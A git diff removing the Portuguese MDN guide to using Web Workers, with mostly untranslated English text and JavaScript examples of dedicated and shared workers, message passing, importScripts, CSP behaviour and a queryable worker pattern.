- <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/SharedWorker">SharedWorker interface</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
- <li><a href="/en-US/docs/Web/API/Worker/Functions_and_classes_available_to_workers">Functions and classes available to workers</a></li>
- <li><a href="/en-US/docs/Web/API/Web_Workers_API/Advanced_concepts_and_examples">Advanced concepts and examples</a></li>
- <li><a href="/en-US/docs/Web/API/ChromeWorker">ChromeWorker</a>: for using workers in privileged/chrome code</li>
-</ul>
diff --git a/files/pt-pt/web/api/web_workers_api/using_web_workers/index.html b/files/pt-pt/web/api/web_workers_api/using_web_workers/index.html
deleted file mode 100644
index d0ec98c6c0..0000000000
--- a/files/pt-pt/web/api/web_workers_api/using_web_workers/index.html
+++ /dev/null
@@ -1,1092 +0,0 @@
----
-title: Utilização de Web Workers
-slug: Web/API/Web_Workers_API/Using_web_workers
-tags:
- - Avançado
- - Firefox
- - Guía
- - JavaScript
- - Operadores
- - Workers
-translation_of: Web/API/Web_Workers_API/Using_web_workers
-original_slug: Web/API/Web_Workers_API/Utilizacao_de_web_workers
----
-<div class="summary">
-<p><em>Web Workers</em> é um meio simples para o conteúdo da Web para executar <em>scripts</em> em segmentos em segundo plano. O segmento do <em>worker</em> pode realizar tarefas sem interferir com a interface do utilizador. Em adição, eles podem executar I/O, utilizando <code><a class="internal" href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIXMLHttpRequest">XMLHttpRequest</a></code> (embora<code> e responseXML</code> e os atributos de <code>channel</code> são sempre nulos). Uma vez criado, um <em>worker </em>pode enviar mensagens para o código JavaScript que o criou publicando mensagens para um manipulador de evento especificado por esse código (e vice-versa.) Este artigo fornece uma introdução detalhada para utilizar <em>workers </em>da Web.</p>
-</div>
-
-<h2 id="API_de_Workers_da_Web">API de Workers da Web</h2>
-
-<p>A worker is an object created using a constructor (e.g. {{domxref("Worker.Worker", "Worker()")}}) that runs a named JavaScript file — this file contains the code that will run in the worker thread; workers run in another global context that is different from the current {{domxref("window")}}. Thus, using the {{domxref("window")}} shortcut to get the current global scope (instead of {{domxref("window.self","self")}}) within a {{domxref("Worker")}} will return an error.</p>
-
-<p>The worker context is represented by a {{domxref("DedicatedWorkerGlobalScope")}} object in the case of dedicated workers (standard workers that are utilized by a single script; shared workers use {{domxref("SharedWorkerGlobalScope")}}). A dedicated worker is only accessible from the script that first spawned it, whereas shared workers can be accessed from multiple scripts.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: See <a href="/en-US/docs/Web/API/Web_Workers_API">The Web Workers API landing page</a> for reference documentation on workers and additional guides.</p>
-</div>
-
-<p>You can run whatever code you like inside the worker thread, with some exceptions. For example, you can't directly manipulate the DOM from inside a worker, or use some default methods and properties of the {{domxref("window")}} object. But you can use a large number of items available under <code>window</code>, including <a href="/en-US/docs/Web/API/WebSockets_API">WebSockets</a>, and data storage mechanisms like <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a> and the Firefox OS-only <a href="/en-US/docs/Web/API/Data_Store_API">Data Store API</a>. See <a href="/en-US/docs/Web/API/Worker/Functions_and_classes_available_to_workers">Functions and classes available to workers</a> for more details.</p>
-
-<p>Data is sent between workers and the main thread via a system of messages — both sides send their messages using the <code>postMessage()</code> method, and respond to messages via the <code>onmessage</code> event handler (the message is contained within the {{event("Message")}} event's data attribute.) The data is copied rather than shared.</p>
-
-<p>Workers may, in turn, spawn new workers, as long as those workers are hosted within the same origin as the parent page. In addition, workers may use <a class="internal" href="/en-US/docs/Web/API/XMLHttpRequest"><code>XMLHttpRequest</code></a> for network I/O, with the exception that the <code>responseXML</code> and <code>channel</code> attributes on <code>XMLHttpRequest</code> always return <code>null</code>.</p>
-
-<h2 id="Workers_dedicados">Workers dedicados</h2>
-
-<p>As mentioned above, a dedicated worker is only accessible by the script that called it. In this section we'll discuss the JavaScript found in our <a class="external external-icon" href="https://github.com/mdn/simple-web-worker">Basic dedicated worker example</a> (<a class="external external-icon" href="https://mdn.github.io/simple-web-worker/">run dedicated worker</a>): This allows you to enter two numbers to be multiplied together. The numbers are sent to a dedicated worker, multiplied together, and the result is returned to the page and displayed.</p>
-
-<p>This example is rather trivial, but we decided to keep it simple while introducing you to basic worker concepts. More advanced details are covered later on in the article.</p>
-
-<h3 id="Detecção_da_funcionalidade_worker">Detecção da funcionalidade worker</h3>
-
-<p>For slightly more controlled error handling and backwards compatibility, it is a good idea to wrap your worker accessing code in the following (<a href="https://github.com/mdn/simple-web-worker/blob/gh-pages/main.js">main.js</a>):</p>
-
-<pre class="brush: js">if (window.Worker) {
-
- ...
-
-}</pre>
-
-<h3 id="Geração_de_um_worker_dedicado">Geração de um <em>worker </em>dedicado</h3>
-
-<p>Creating a new worker is simple. All you need to do is call the {{domxref("Worker.Worker", "Worker()")}} constructor, specifying the URI of a script to execute in the worker thread (<a href="https://github.com/mdn/simple-web-worker/blob/gh-pages/main.js">main.js</a>):</p>
-
-<div style="overflow: hidden;">
-<pre class="brush: js">var myWorker = new Worker('worker.js');
-</pre>
-</div>
-
-<h3 id="Enviar_mensagens_para_e_de_um_worker_dedicado">Enviar mensagens para /e de um <em>worker </em>dedicado</h3>
-
-<p>The magic of workers happens via the {{domxref("Worker.postMessage", "postMessage()")}} method and the {{domxref("Worker.onmessage", "onmessage")}} event handler. When you want to send a message to the worker, you post messages to it like this (<a href="https://github.com/mdn/simple-web-worker/blob/gh-pages/main.js">main.js</a>):</p>
-
-<pre class="brush: js">first.onchange = function() {
- myWorker.postMessage([first.value,second.value]);
- console.log('Message posted to worker');
-}
-
-second.onchange = function() {
- myWorker.postMessage([first.value,second.value]);
- console.log('Message posted to worker');
-}</pre>
-
-<p>So here we have two {{htmlelement("input")}} elements represented by the variables <code>first</code> and <code>second</code>; when the value of either is changed, <code>myWorker.postMessage([first.value,second.value])</code> is used to send the value inside both to the worker, as an array. You can send pretty much anything you like in the message.</p>
-
-<p>In the worker, we can respond when the message is received by writing an event handler block like this (<a href="https://github.com/mdn/simple-web-worker/blob/gh-pages/worker.js">worker.js</a>):</p>
-
-<pre class="brush: js">onmessage = function(e) {
- console.log('Message received from main script');
- var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
- console.log('Posting message back to main script');
- postMessage(workerResult);
-}</pre>
-
-<p>The <code>onmessage</code> handler allows us to run some code whenever a message is received, with the message itself being available in the <code>message</code> event's <code>data</code> attribute. Here we simply multiply together the two numbers then use <code>postMessage()</code> again, to post the result back to the main thread.</p>
-
-<p>Back in the main thread, we use <code>onmessage</code> again, to respond to the message sent back from the worker:</p>
-
-<pre class="brush: js">myWorker.onmessage = function(e) {
- result.textContent = e.data;
- console.log('Message received from worker');
-}</pre>
-
-<p>Here we grab the message event data and set it as the <code>textContent</code> of the result paragraph, so the user can see the result of the calculation.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: The URI passed as a parameter to the <code>Worker</code> constructor must obey the <a href="/en-US/docs/Web/Security/Same-origin_policy">same-origin policy</a> .</p>
-
-<p>There is currently disagreement among browsers vendors on what URIs are of the same-origin; Gecko 10.0 {{geckoRelease("10.0")}} and later do allow data URIs and Internet Explorer 10 does not allow Blob URIs as a valid script for workers.</p>
-</div>
-
-<div class="note"><strong>Nota</strong>: Notice that <code>onmessage</code> and <code>postMessage()</code> need to be hung off the <code>Worker</code> object when used in the main script thread, but not when used in the worker. This is because, inside the worker, the worker is effectively the global scope.</div>
-
-<div class="note"><strong>Nota</strong>: When a message is passed between the main thread and worker, it is copied or "transferred" (moved), not shared. Read {{anch("Transferring data to and from workers further details", "Transferring data to and from workers: further details")}} for a much more thorough explanation.</div>
-
-<h3 id="Terminar_um_worker">Terminar um <em>worker</em></h3>
-
-<p>If you need to immediately terminate a running worker from the main thread, you can do so by calling the worker's {{domxref("Worker", "terminate")}} method:</p>
-
-<pre class="brush: js">myWorker.terminate();</pre>
-
-<p>The worker thread is killed immediately without an opportunity to complete its operations or clean up after itself.</p>
-
-<p>In the worker thread, workers may close themselves by calling their own {{domxref("WorkerGlobalScope", "close")}} method:</p>
-
-<pre class="brush: js">close();</pre>
-
-<h3 id="Lidar_com_erros">Lidar com erros</h3>
-
-<p>When a runtime error occurs in the worker, its <code>onerror</code> event handler is called. It receives an event named <code>error</code> which implements the <code>ErrorEvent</code> interface.</p>
-
-<p>The event doesn't bubble and is cancelable; to prevent the default action from taking place, the worker can call the error event's <a class="internal" href="/en-US/docs/Web/API/Event/preventDefault"> <code>preventDefault()</code> </a> method.</p>
-
-<p>The error event has the following three fields that are of interest:</p>
-
-<dl>
- <dt><code>message</code></dt>
- <dd>A human-readable error message.</dd>
- <dt><code>filename</code></dt>
- <dd>The name of the script file in which the error occurred.</dd>
- <dt><code>lineno</code></dt>
- <dd>The line number of the script file on which the error occurred.</dd>
-</dl>
-
-<h3 id="Gerar_subworkers">Gerar <em>subworkers</em></h3>
-
-<p>Workers may spawn more workers if they wish. So-called sub-workers must be hosted within the same origin as the parent page. Also, the URIs for subworkers are resolved relative to the parent worker's location rather than that of the owning page. This makes it easier for workers to keep track of where their dependencies are.</p>
-
-<h3 id="Importar_scripts_e_bibliotecas">Importar <em>scripts</em> e bibliotecas</h3>
-
-<p>Worker threads have access to a global function, <code>importScripts()</code>, which lets them import scripts. It accepts zero or more URIs as parameters to resources to import; all of the following examples are valid:</p>
-
-<pre class="brush: js">importScripts(); /* imports nothing */
-importScripts('foo.js'); /* imports just "foo.js" */
-importScripts('foo.js', 'bar.js'); /* imports two scripts */
-importScripts('//example.com/hello.js'); /* You can import scripts from other origins */</pre>
-
-<p>The browser loads each listed script and executes it. Any global objects from each script may then be used by the worker. If the script can't be loaded, <code>NETWORK_ERROR</code> is thrown, and subsequent code will not be executed. Previously executed code (including code deferred using {{domxref("window.setTimeout()")}}) will still be functional though. Function declarations <strong>after</strong> the <code>importScripts()</code> method are also kept, since these are always evaluated before the rest of the code.</p>
-
-<div class="note"><strong>Note</strong>: Scripts may be downloaded in any order, but will be executed in the order in which you pass the filenames into <code>importScripts()</code> . This is done synchronously; <code>importScripts()</code> does not return until all the scripts have been loaded and executed.</div>
-
-<h2 id="Shared_workers_(Partilhados)"><em>Shared workers (Partilhados)</em></h2>
-
-<p>A shared worker is accessible by multiple scripts — even if they are being accessed by different windows, iframes or even workers. In this section we'll discuss the JavaScript found in our <a class="external external-icon" href="https://github.com/mdn/simple-shared-worker">Basic shared worker example</a> (<a class="external external-icon" href="https://mdn.github.io/simple-shared-worker/">run shared worker</a>): This is very similar to the basic dedicated worker example, except that it has two functions available handled by different script files: <em>multiplying two numbers</em>, or <em>squaring a number</em>. Both scripts use the same worker to do the actual calculation required.</p>
-
-<p>Here we'll concentrate on the differences between dedicated and shared workers. Note that in this example we have two HTML pages, each with JavaScript applied that uses the same single worker file.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: If SharedWorker can be accessed from several browsing contexts, all those browsing contexts must share the exact same origin (same protocol, host, and port).</p>
-</div>
-
-<div class="note">
-<p><strong>Nota</strong>: In Firefox, shared workers cannot be shared between documents loaded in private and non-private windows ({{bug(1177621)}}).</p>
-</div>
-
-<h3 id="Gerar_um_shared_worker">Gerar um <em>shared worker</em></h3>
-
-<p>Spawning a new shared worker is pretty much the same as with a dedicated worker, but with a different constructor name (see <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/index.html">index.html</a> and <a href="https://mdn.github.io/simple-shared-worker/index2.html">index2.html</a>) — each one has to spin up the worker using code like the following:</p>
-
-<pre class="brush: js">var myWorker = new SharedWorker('worker.js');</pre>
-
-<p>One big difference is that with a shared worker you have to communicate via a <code>port</code> object — an explicit port is opened that the scripts can use to communicate with the worker (this is done implicitly in the case of dedicated workers).</p>
-
-<p>The port connection needs to be started either implicitly by use of the <code>onmessage </code>event handler or explicitly with the <code>start()</code> method before any messages can be posted. Although the <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/multiply.js">multiply.js</a> and <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/worker.js">worker.js</a> files in the demo currently call the <code>start()</code> method, those calls are not necessary since the <code>onmessage</code> event handler is being used. Calling <code>start()</code> is only needed if the <code>message</code> event is wired up via the <code>addEventListener()</code> method.</p>
-
-<p>When using the <code>start()</code> method to open the port connection, it needs to be called from both the parent thread and the worker thread if two-way communication is needed.</p>
-
-<pre class="brush: js">myWorker.port.start(); // called in parent thread</pre>
-
-<pre class="brush: js">port.start(); // called in worker thread, assuming the <code>port</code> variable references a port</pre>
-
-<h3 id="Enviar_mensagens_parae_de_um_shared_worker">Enviar mensagens para/e de um <em>shared worker</em></h3>
-
-<p>Now messages can be sent to the worker as before, but the <code>postMessage()</code> method has to be invoked through the port object (again, you'll see similar constructs in both <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/multiply.js">multiply.js</a> and <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/square.js">square.js</a>):</p>
-
-<pre class="brush: js">squareNumber.onchange = function() {
- myWorker.port.postMessage([squareNumber.value,squareNumber.value]);
- console.log('Message posted to worker');
-}</pre>
-
-<p>Now, on to the worker. There is a bit more complexity here as well (<a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/worker.js">worker.js</a>):</p>
-
-<pre class="brush: js">onconnect = function(e) {
- var port = e.ports[0];
-
- port.onmessage = function(e) {
- var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
- port.postMessage(workerResult);
- }
-}</pre>
-
-<p>First, we use an <code>onconnect</code> handler to fire code when a connection to the port happens (i.e. when the <code>onmessage</code> event handler in the parent thread is setup, or when the <code>start()</code> method is explicitly called in the parent thread).</p>
-
-<p>We use the <code>ports</code> attribute of this event object to grab the port and store it in a variable.</p>
-
-<p>Next, we add a <code>message</code> handler on the port to do the calculation and return the result to the main thread. Setting up this <code>message</code> handler in the worker thread also implicitly opens the port connection back to the parent thread, so the call to <code>port.start()</code> is not actually needed, as noted above.</p>
-
-<p>Finally, back in the main script, we deal with the message (again, you'll see similar constructs in both <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/multiply.js">multiply.js</a> and <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/square.js">square.js</a>):</p>
-
-<pre class="brush: js">myWorker.port.onmessage = function(e) {
- result2.textContent = e.data;
- console.log('Message received from worker');
-}</pre>
-
-<p>When a message comes back through the port from the worker, we check what result type it is, then insert the calculation result inside the appropriate result paragraph.</p>
-
-<h2 id="Sobre_a_segurança_de_segmento">Sobre a segurança de segmento</h2>
-
-<p>The {{domxref("Worker")}} interface spawns real OS-level threads, and mindful programmers may be concerned that concurrency can cause “interesting” effects in your code if you aren't careful.</p>
-
-<p>However, since web workers have carefully controlled communication points with other threads, it's actually very hard to cause concurrency problems. There's no access to non-threadsafe components or the DOM. And you have to pass specific data in and out of a thread through serialized objects. So you have to work really hard to cause problems in your code.</p>
-
-<p>An example of a catastrophy would be like the following:</p>
-
-<h3 id="Conteúdo_HTML">Conteúdo HTML</h3>
-
-<pre class="brush: html">&lt;html&gt;
-&lt;head&gt;
-&lt;title&gt;Multithreading Catastrophy&lt;/title&gt;
-&lt;style&gt;
-body { margin: 0px; }
-canvas { position: absolute; top: 0; bottom: 0; left: 0; right:0; width: 100%; height: 100%; }
-&lt;/style&gt;
-&lt;script src="main.js" async&gt;&lt;/script&gt;
-&lt;/head&gt;
-&lt;body&gt;
-&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
-&lt;/body&gt;
-&lt;/html&gt;</pre>
-
-<h3 id="Conteúdo_main.js">Conteúdo main.js</h3>
-
-<pre class="brush: js">// main.js
-var myworker = new Worker("worker.js"), width=window.innerWidth, height=window.innerHeight, context=document.getElementById('canvas').getContext('2d');
-var imagedatatmp=context.createImageData(width,height);
-
-myworker.onmessage = function(data){
- imageData = imagedatatmp.from(data);
-};
-
-setTimeout(function draw_canvas() {
- context.putImageData(imageData);
-   setTimeout(draw_canvas, 1000/60);
-},10);
-
-window.onresize = window.reload; // Quick (to type) n' dirty way to resize;</pre>
-
-<h3 id="Conteúdo_worker.js">Conteúdo worker.js</h3>
-
-<pre class="brush: js">// worker.js
-window.onmessage = function(width, height){
-var noise = function(x, y, z) {
-    var p = new Array(512), permutation = [151,160,137,91,90,15,131,13,201,95,96,53,194,233,7,225,140,36,103,30,69,142,8,99,37,240,21,10,23,190, 6,148,247,120,234,75,0,26,197,62,94,252,219,203,117,35,11,32,57,177,33,88,237,149,56,87,174,20,125,136,171,168, 68,175,74,165,71,134,139,48,27,166,77,146,158,231,83,111,229,122,60,211,133,230,220,105,92,41,55,46,245,40,244,102,143,54, 65,25,63,161, 1,216,80,73,209,76,132,187,208, 89,18,169,200,196,135,130,116,188,159,86,164,100,109,198,173,186, 3,64,52,217,226,250,124,123,5,202,38,147,118,126,255,82,85,212,207,206,59,227,47,16,58,17,182,189,28,42,223,183,170,213,119,248,152, 2,44,154,163, 70,221,153,101,155,167, 43,172,9,129,22,39,253, 19,98,108,110,79,113,224,232,178,185, 112,104,218,246,97,228,251,34,242,193,238,210,144,12,191,179,162,241, 81,51,145,235,249,14,239,107,49,192,214, 31,181,199,106,157,184, 84,204,176,115,121,50,45,127, 4,150,254,138,236,205,93,222,114,67,29,24,72,243,141,128,195,78,66,215,61,156,180];
-    for (var i = 0;i &lt; 256;i++) p[256 + i] = p[i] = permutation[i];
-    var X = Math.floor(x) &amp; 255, Y = Math.floor(y) &amp; 255, Z = Math.floor(z) &amp; 255; x -= Math.floor(x), y -= Math.floor(y), z -= Math.floor(z);
-    var u = fade(x), v = fade(y), w = fade(z);
-    var A = p[X] + Y, AA = p[A] + Z, AB = p[A + 1] + Z, B = p[X + 1] + Y, BA = p[B] + Z, BB = p[B + 1] + Z;
-    return scale(lerp(w, lerp(v, lerp(u, grad(p[AA], x, y, z), grad(p[BA], x - 1, y, z)), lerp(u, grad(p[AB], x, y - 1, z), grad(p[BB], x - 1, y - 1, z))), lerp(v, lerp(u, grad(p[AA + 1], x, y, z - 1), grad(p[BA + 1], x - 1, y, z - 1)), lerp(u, grad(p[AB + 1], x, y - 1, z - 1), grad(p[BB + 1], x - 1, y - 1, z - 1)))));
-};
-  function fade(t) { return t * t * t * (t * (t * 6 - 15) + 10); }
-  function lerp(t, a, b) { return a + t * (b - a); }
-  function grad(hash, x, y, z) {
-    var h = hash &amp; 15; var u = h &lt; 8 ? x : y, v = h &lt; 4 ? y : h == 12 || h == 14 ? x : z;
-    return ((h &amp; 1) == 0 ? u : -u) + ((h &amp; 2) == 0 ? v : -v);
-  }
-  function scale(n) { return (1 + n) / 2; }
-var length = width*height; var canvasnoisedata=new UInt32Array(length);
-
-setTimeout(function make_noise() {
-var i=length, z=Math.random()*1024;
-  while ( i-- ) {
-  canvasnoisedata[i] = noise(i%width+z,i/width+z,z);
-  }
-  setTimeout(make_noise, 1000/60);
-},1000/60);
-
-setTimeout(function post_noise() {
-  postMessage( canvasnoisedata );
-   setTimeout(post_noise, 1000/60);
-},1000/60);
-};
-</pre>
-
-<h3 id="Resultado">Resultado</h3>
-
-<p>{{ EmbedLiveSample('ats.html') }}</p>
-
-<h2 id="Política_de_segurança_de_conteúdo">Política de segurança de conteúdo</h2>
-
-<p>Workers are considered to have their own execution context, distinct from the document that created them. For this reason they are, in general, not governed by the <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">content security policy</a> of the document (or parent worker) that created them. So for example, suppose a document is served with the following header:</p>
-
-<pre>Content-Security-Policy: script-src 'self'</pre>
-
-<div>Among other things, this will prevent any scripts it includes from using <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval">eval()</a></code>. However, if the script constructs a worker, code running in the worker's context <em>will</em> be allowed to use <code>eval()</code>.<br>
-<br>
-To specify a content security policy for the worker, set a <a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy">Content-Security-Policy</a> response header for the request which delivered the worker script itself.<br>
-<br>
-The exception to this is if the worker script's origin is a globally unique identifier (for example, if its URL has a scheme of data or blob). In this case, the worker does inherit the CSP of the document or worker that created it.</div>
-
-<div> </div>
-
-<h2 id="Transferir_dados_parae_de_workers_detalhes_adicionais">Transferir dados para/e de <em>workers</em>: detalhes adicionais</h2>
-
-<p>Data passed between the main page and workers is <strong>copied</strong>, not shared. Objects are serialized as they're handed to the worker, and subsequently, de-serialized on the other end. The page and worker <strong>do not share the same instance</strong>, so the end result is that <strong>a duplicate</strong> is created on each end. Most browsers implement this feature as <a href="/en-US/docs/Web/Guide/API/DOM/The_structured_clone_algorithm">structured cloning</a>.</p>
-
-<p>To illustrate this, let's create for didactical purpose a function named <code>emulateMessage()</code>, which will simulate the behavior of a value that is <em>cloned and not shared</em> during the passage from a <code>worker</code> to the main page or vice versa:</p>
-
-<pre class="brush: js">function emulateMessage(vVal) {
- return eval('(' + JSON.stringify(vVal) + ')');
-}
-
-// Tests
-
-// test #1
-var example1 = new Number(3);
-console.log(typeof example1); // object
-console.log(typeof emulateMessage(example1)); // number
-
-// test #2
-var example2 = true;
-console.log(typeof example2); // boolean
-console.log(typeof emulateMessage(example2)); // boolean
-
-// test #3
-var example3 = new String('Hello World');
-console.log(typeof example3); // object
-console.log(typeof emulateMessage(example3)); // string
-
-// test #4
-var example4 = {
- 'name': 'John Smith',
- "age": 43
-};
-console.log(typeof example4); // object
-console.log(typeof emulateMessage(example4)); // object
-
-// test #5
-function Animal(sType, nAge) {
- this.type = sType;
- this.age = nAge;
-}
-var example5 = new Animal('Cat', 3);
-alert(example5.constructor); // Animal
-alert(emulateMessage(example5).constructor); // Object</pre>
-
-<p>A value that is cloned and not shared is called <em>message</em>. As you will probably know by now, <em>messages</em> can be sent to and from the main thread by using <code>postMessage()</code>, and the <code>message</code> event's {{domxref("MessageEvent.data", "data")}} attribute contains data passed back from the worker.</p>
-
-<p><strong>example.html</strong>: (a página principal):</p>
-
-<pre class="brush: js">var myWorker = new Worker('my_task.js');
-
-myWorker.onmessage = function(oEvent) {
- console.log('Worker said : ' + oEvent.data);
-};
-
-myWorker.postMessage('ali');</pre>
-
-<p><strong>my_task.js</strong> (o <em>worker</em>):</p>
-
-<pre class="brush: js">postMessage("I\'m working before postMessage(\'ali\').");
-
-onmessage = function(oEvent) {
- postMessage('Hi ' + oEvent.data);
-};</pre>
-
-<p>The <a href="/en-US/docs/Web/Guide/API/DOM/The_structured_clone_algorithm">structured cloning</a> algorithm can accept JSON and a few things that JSON can't — like circular references.</p>
-
-<h3 id="Passagem_de_exemplos_de_dados">Passagem de exemplos de dados</h3>
-
-<h4 id="Exemplo_1_Criar_um_genérico_assíncrono_eval()">Exemplo #1: Criar um genérico "assíncrono <code>eval()</code>"</h4>
-
-<p>The following example shows how to use a worker in order to <strong>asynchronously</strong> execute any JavaScript code allowed in a worker, through <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval"><code>eval()</code></a> within the worker:</p>
-
-<pre class="brush: js">// Syntax: asyncEval(code[, listener])
-
-var asyncEval = (function () {
- var aListeners = [], oParser = new Worker('data:text/javascript;charset=US-ASCII,onmessage%20%3D%20function%20%28oEvent%29%20%7B%0A%09postMessage%28%7B%0A%09%09%22id%22%3A%20oEvent.data.id%2C%0A%09%09%22evaluated%22%3A%20eval%28oEvent.data.code%29%0A%09%7D%29%3B%0A%7D');
-
- oParser.onmessage = function(oEvent) {
- if (aListeners[oEvent.data.id]) { aListeners[oEvent.data.id](oEvent.data.evaluated); }
- delete aListeners[oEvent.data.id];
- };
-
- return function(sCode, fListener) {
- aListeners.push(fListener || null);
- oParser.postMessage({
- 'id': aListeners.length - 1,
- 'code': sCode
- });
- };
-})();</pre>
-
-<p>The <a href="/en-US/docs/Web/HTTP/data_URIs">data URL</a> is equivalent to a network request, with the following response:</p>
-
-<pre class="brush: js">onmessage = function(oEvent) {
- postMessage({
- 'id': oEvent.data.id,
- 'evaluated': eval(oEvent.data.code)
- });
-}</pre>
-
-<p>Amostra de utilização:</p>
-
-<pre class="brush: js">// asynchronous alert message...
-asyncEval('3 + 2', function(sMessage) {
- alert('3 + 2 = ' + sMessage);
-});
-
-// asynchronous print message...
-asyncEval("\"Hello World!!!\"", function(sHTML) {
- document.body.appendChild(document.createTextNode(sHTML));
-});
-
-// asynchronous void...
-asyncEval("(function () {\n\tvar oReq = new XMLHttpRequest();\n\toReq.open(\"get\", \"http://www.mozilla.org/\", false);\n\toReq.send(null);\n\treturn oReq.responseText;\n})()");</pre>
-
-<h4 id="Exemplo_2_Passagem_avançada_da_'Dados'_JSON_e_criar_um_sistema_de_troca">Exemplo #2: Passagem avançada da 'Dados' JSON e criar um sistema de troca</h4>
-
-<p>If you have to pass some complex data and have to call many different functions both on the main page and in the Worker, you can create a system which groups everything together.</p>
-
-<p>First, we create a QueryableWorker class that takes the <font face="Consolas, Liberation Mono, Courier, monospace">url</font> of the worker, a default listener, and an error handler, and this class is going to keep track of a list of listeners and help us communicate with the worker:</p>
-
-<pre class="brush: js">function QueryableWorker(url, defaultListener, onError) {
-  var instance = this,
-  worker = new Worker(url),
-  listeners = {};
-
-  this.defaultListener = defaultListener || function() {};
-
-  if (onError) {worker.onerror = onError;}
-
-  this.postMessage = function(message) {
-  worker.postMessage(message);
-  }
-
-  this.terminate = function() {
-  worker.terminate();
- }
-}</pre>
-
-<p>Then we add the methods of adding/removing listeners:</p>
-
-<pre class="brush: js">this.addListeners = function(name, listener) {
-  listeners[name] = listener;
-}
-
-this.removeListeners = function(name) {
- delete listeners[name];
-}</pre>
-
-<p>Here we let the worker handle two simple operations for illustration: getting the difference of two numbers and making an alert after three seconds. In order to achieve that we first implement a sendQuery method which queries if the worker actually has the corresponding methods to do what we want.</p>
-
-<pre class="brush: js">/*
-  This functions takes at least one argument, the method name we want to query.
-  Then we can pass in the arguments that the method needs.
- */
-this.sendQuery = function() {
- if (arguments.length &lt; 1) {
-  throw new TypeError('QueryableWorker.sendQuery takes at least one argument');
-  return;
-  }
-  worker.postMessage({
-  'queryMethod': arguments[0],
-  'queryArguments': Array.prototype.slice.call(arguments, 1)
-  });
-}</pre>
-
-<p>We finish QueryableWorker with the <code>onmessage</code> method. If the worker has the corresponding methods we queried, it should return the name of the corresponding listener and the arguments it needs, we just need to find it in <code>listeners</code>.:</p>
-
-<pre class="brush: js">worker.onmessage = function(event) {
- if (event.data instanceof Object &amp;&amp;
-  event.data.hasOwnProperty('queryMethodListener') &amp;&amp;
-  event.data.hasOwnProperty('queryMethodArguments')) {
-  listeners[event.data.queryMethodListener].apply(instance, event.data.queryMethodArguments);
- } else {
-  this.defaultListener.call(instance, event.data);
-  }
-}
-</pre>
-
-<p>Now onto the worker.  First we need to have the methods to handle the two simple operations:</p>
-
-<pre class="brush: js">var queryableFunctions = {
- getDifference: function(a, b) {
-  reply('printStuff', a - b);
-  },
-  waitSomeTime: function() {
-  setTimeout(function() {
-  reply('doAlert', 3, 'seconds');
-  }, 3000);
-  }
-}
-
-function reply() {
- if (arguments.length &lt; 1) {
-  throw new TypeError('reply - takes at least one argument');
-  return;
-  }
-  postMessage({
-  queryMethodListener: arguments[0],
-  queryMethodArguments: Array.prototype.slice.call(arguments, 1)
-  });
-}
-
-/* This method is called when main page calls QueryWorker's postMessage method directly*/
-function defaultReply(message) {
-  // do something
-}
-</pre>
-
-<p>And the <code>onmessage</code> method is now trivial:</p>
-
-<pre class="brush: js">onmessage = function(event) {
-  if (event.data instanceof Object &amp;&amp;
-  event.data.hasOwnProperty('queryMethod') &amp;&amp;
-  event.data.hasOwnProperty('queryMethodArguments')) {
-  queryableFunctions[event.data.queryMethod]
-  .apply(self, event.data.queryMethodArguments);
-  } else {
-  defaultReply(event.data);
-  }
-}
-</pre>
-
-<p>Here are the full implementation:</p>
-
-<p><strong>example.html</strong> (the main page):</p>
-
-<pre class="brush: html">&lt;!doctype html&gt;
- &lt;html&gt;
- &lt;head&gt;
- &lt;meta charset="UTF-8" /&gt;
- &lt;title&gt;MDN Example - Queryable worker&lt;/title&gt;
- &lt;script type="text/javascript"&gt;
- /*
- QueryableWorker instances methods:
- * sendQuery(queryable function name, argument to pass 1, argument to pass 2, etc. etc): calls a Worker's queryable function
- * postMessage(string or JSON Data): see Worker.prototype.postMessage()
- * terminate(): terminates the Worker
- * addListener(name, function): adds a listener
- * removeListener(name): removes a listener
- QueryableWorker instances properties:
- * defaultListener: the default listener executed only when the Worker calls the postMessage() function directly
- */
- function QueryableWorker(url, defaultListener, onError) {
-  var instance = this,
-  worker = new Worker(url),
-  listeners = {};
-
-  this.defaultListener = defaultListener || function() {};
-
-  if (onError) {worker.onerror = onError;}
-
-  this.postMessage = function(message) {
-  worker.postMessage(message);
-  }
-
-  this.terminate = function() {
-  worker.terminate();
- }
-
-  this.addListener = function(name, listener) {
-  listeners[name] = listener;
-  }
-
-  this.removeListener = function(name) {
-  delete listeners[name];
- }
-
-  /*
- This functions takes at least one argument, the method name we want to query.
- Then we can pass in the arguments that the method needs.
- */
- this.sendQuery = function() {
- if (arguments.length &lt; 1) {
- throw new TypeError('QueryableWorker.sendQuery takes at least one argument');
- return;
- }
- worker.postMessage({
- 'queryMethod': arguments[0],
- 'queryMethodArguments': Array.prototype.slice.call(arguments, 1)
- });
- }
-
-  worker.onmessage = function(event) {
- if (event.data instanceof Object &amp;&amp;
-  event.data.hasOwnProperty('queryMethodListener') &amp;&amp;
-  event.data.hasOwnProperty('queryMethodArguments')) {
-  listeners[event.data.queryMethodListener].apply(instance, event.data.queryMethodArguments);
- } else {
-  this.defaultListener.call(instance, event.data);
-  }
- }
-  }
-
- // your custom "queryable" worker
- var myTask = new QueryableWorker('my_task.js');
-
- // your custom "listeners"
- myTask.addListener('printStuff', function (result) {
